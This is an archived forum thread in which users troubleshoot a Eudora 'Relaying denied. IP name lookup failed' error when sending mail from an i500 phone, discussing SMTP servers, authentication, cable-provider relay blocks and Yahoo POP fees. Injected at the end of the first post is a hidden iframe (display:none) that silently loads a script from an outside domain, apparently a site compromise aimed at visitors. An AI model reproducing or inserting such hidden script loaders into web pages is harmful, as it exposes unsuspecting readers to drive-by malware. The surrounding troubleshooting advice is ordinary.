I downloaded the free Eudora email program and have a problem sending emails. Whenever I try to send I get the error message, "An address has error: 5.7.1 Relaying denied. IP name lookup failed."

I have tried this with two different email address (diffferent domains) which I know to be correct. What could be the problem?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Sounds like Eudora cannot connect to your SMTP server. Check to make sure you have entered the correct value.

I correctly entered the name of the server, but not a value. As a matter of fact, I don't know what that is.

For example:

smtp.mail.yahoo.com for sending mail

pop.mail.yahoo.com for fetching

The "value" for that field is the name of the server.

Some mailers don't like to send mail it can't authenticate.

At home I can use the cable companies SMTP server for any account. But on i500 eudora I can't. If I use the account SMTP server and not their dial-in, it's not happy. Many SMTP servers won't let you connect if you're tying to use a different address.

Gaty

That may be it, then. I'm using the cable company SMTP server. That's probably the cause. I guess I have to abandon Eudora and try another program.
Thanks for the info.

That may be it, then. I'm using the cable company SMTP server. That's probably the cause. I guess I have to abandon Eudora and try another program.
Thanks for the info.

...although I guess the cable SMTP server might reject any other email program I use with my i500. Bummer.

BTW... If you are using Comcast cable. There is a way you can get it to work with Eudora on the i500. I can post settings if anyone needs them.

Thanks, but I'b using Cablevision On Long Island, NY. I have sent an email to their techies asking if there's a way around this problem.

Many email accounts have an SMTP server attached to them. I check four accounts regularly on my laptop and just use each account's SMTP server. This way I am sure that I can send email wherever I am. Each of them requires authentication as well.

I'd be interested to see those instructions for ComCast cable, just for sh*ts and giggles.

Andy

If it doesn't work with Eudora, I doubt it would work with any other client. It sounds likke an issue connecting to the sever not an issue with the client.

My guess is that they are blocking outside access in to the SMTP server to prevent spam relay attacks. The sever might even sit behind a firewall with a private non routable IP address.

At a command prompt type nslookup <your mail server> and see what it says for an IP address.

Wanted to try and help out here. The error message being displayed is a bit ambiguous, as it seems to talk about two different error conditions:

• Relaying denied
• IP name lookup failed

If "relaying denied" is the real problem, then switching from Eudora to another email client is unlikely to solve your problem. It means your mail server prevents anyone from an "outside" IP address from relaying email through the server. However, sometimes, the server will allow relaying with proper authentication. So make sure you've specified your username and password properly. But it does sound like your cable company's email server is just configured in a very simple-minded way.

Restrictions on relaying are put in to prevent spammers from sending mail "through" someone else's email server.

IP name lookup failed doesn't make tons of sense to me. It could mean that the Eudora client couldn't find the server you specified, but that sounds unlikely. Probably the email server tried a reverse lookup on the address of your phone and it didn't map out the way the email server wanted it to (or didn't reverse lookup at all -- much more likely).

I had a similar problem. I switched to smtp.sprintpcs.com. You need to call them to turn it on for you and to give you a password to go with your username (probably need tier 2 help for that)

I have the same problem with Direcway (sattelite at home). I use Sprint's smtp server and my direcway POP3(so I can read the email from the sat account). It works great. You can specify with sprint an alternate reply address which I believe will redirect if someone hits "reply" to my sat SMTP.

also...

I read alot about people having to call to activate email. I didn't have to do that. I ordered my 500 from the spcs website it arrived ready to go except that it wouldn't take my unlock password until I turned it off then on again.

Chris

is it possible to check yahoo mail via pop now without paying?? I used to be able to, until they changed all that...

__________________
old devices: I300, I330, I500
current: I730

You have to pay now. It's 29.95 per year. Having said that this program, which I found on Handango, somehow retrieves your mail without paying the 29.95 fee. I think they telnet to the web server and use HTML commands to retrieve the mail and then proxies it for delivery to your handset....

http://sprint.handango.com/PlatformP...Id=0&catalog=1

thanks... .how does it work purchasing from handango? doesn't vision give you a set amount per month to downloan apps/images/ringers and such? Or am I totally confusing the issue?

__________________
old devices: I300, I330, I500
current: I730

The Vision packs give you a credit toward x number of downloads from the SPCS Vision handsets (not PDA's). Handango apps you have to pay for. Do a Google search on Handango coupons. I found one that gave me 20% off a purchase.